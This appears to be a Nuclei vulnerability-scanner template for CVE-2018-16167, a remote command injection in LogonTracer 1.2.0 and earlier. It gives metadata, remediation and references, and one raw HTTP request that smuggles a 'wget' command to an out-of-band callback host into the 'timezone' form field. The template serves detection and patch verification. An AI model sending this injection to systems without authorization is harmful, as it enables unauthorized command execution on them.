id: CVE-2018-16167

info:
  name: LogonTracer <=1.2.0 - Remote Command Injection
  author: gy741
  severity: critical
  description: LogonTracer 1.2.0 and earlier allows remote attackers to execute arbitrary OS commands via unspecified vectors.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Upgrade LogonTracer to a version higher than 1.2.0.
  reference:
    - https://www.exploit-db.com/exploits/49918
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16167
    - https://jvn.jp/en/vu/JVNVU98026636/index.html
    - https://github.com/JPCERTCC/LogonTracer/releases/tag/v1.2.1
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-16167
    cwe-id: CWE-78
    epss-score: 0.87026
    epss-percentile: 0.99404
    cpe: cpe:2.3:a:jpcert:logontracer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jpcert
    product: logontracer
  tags: cve,cve2018,rce,oast,edb,logontracer,intrusive,jpcert

http:
  - raw:
      - |
        POST /upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        logtype=XML&timezone=1%3Bwget+http%3A%2F%2F{{interactsh-url}}%3B

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - http
# digest: 4a0a00473045022100dcea8764ce91370646f83380d5054842da265542b981c31ddeece718b5d1d5550220582908fd3c9899a97b42d4e5cd5a246cecb8a1531c05e43bd6781a640743aca0:922c64590222798bb761d5b6d8e72950